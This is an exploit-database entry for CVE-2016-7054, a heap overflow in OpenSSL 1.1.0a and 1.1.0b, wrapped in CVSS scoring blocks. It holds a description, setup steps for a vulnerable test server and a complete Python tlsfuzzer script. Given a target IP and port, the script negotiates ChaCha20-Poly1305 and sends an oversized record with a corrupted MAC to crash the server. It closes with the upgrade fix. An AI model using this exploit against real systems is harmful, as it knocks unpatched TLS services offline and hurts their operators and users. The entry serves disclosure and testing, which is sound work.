CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
98.9%
# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability
# Date: 11-12-2016
# Software Link: https://www.openssl.org/source/old/1.1.0/
# Exploit Author: Silverfox
# Contact: http://twitter.com/___Silverfox___
# Website: https://www.silverf0x00.com/
# CVE: CVE-2016-7054
# Category: Denial of Service
# Type: Remote
# Platform: Multiple
1. Description
Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash.
https://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054
https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
2. Proof of Concept
a. Download and compile OpenSSL 1.1.0a or b
b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg
c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)
d. OpenSSL Instance crashes causing DOS
### Exploit Code ###
'''
* In no event shall the author be liable
* for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
'''
from __future__ import print_function
import traceback
import sys
from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import Connect, ClientHelloGenerator, \
ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \
FinishedGenerator, ApplicationDataGenerator, \
fuzz_encrypted_message
from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \
ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \
ExpectAlert, ExpectClose, ExpectServerKeyExchange
from tlslite.constants import CipherSuite, AlertLevel, AlertDescription
def usage() :
return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0])
def main():
if len(sys.argv) < 3:
print(usage())
return -1
conversations = {}
# 16 chars: POLY1305 tag 128 bit
# Tampering one bit suffices to damage the mac
# The payload has to be long enough to trigger heap overflow
n = 15000
fuzzes = [(-1, 1)]
for pos, val in fuzzes:
conversation = Connect(sys.argv[1], int(sys.argv[2]))
node = conversation
ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
node = node.add_child(ClientHelloGenerator(ciphers))
node = node.add_child(ExpectServerHello())
node = node.add_child(ExpectCertificate())
node = node.add_child(ExpectServerKeyExchange())
node = node.add_child(ExpectServerHelloDone())
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
node = node.add_child(fuzz_encrypted_message(
ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
node = node.add_child(ExpectAlert(AlertLevel.fatal,
AlertDescription.bad_record_mac))
node = node.add_child(ExpectClose())
conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \
conversation
# run the conversation
good = 0
bad = 0
for conversation_name in conversations:
conversation = conversations[conversation_name]
#print(conversation_name + "...")
runner = Runner(conversation)
res = True
try:
runner.run()
except:
print("Error while processing")
print(traceback.format_exc())
res = False
if res:
good+=1
print("OK")
else:
bad+=1
print("Test end")
print("successful: {0}".format(good))
print("failed: {0}".format(bad))
if bad > 0:
sys.exit(1)
if __name__ == "__main__":
main()
### End of Exploit Code ###
3. Solution:
Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
98.9%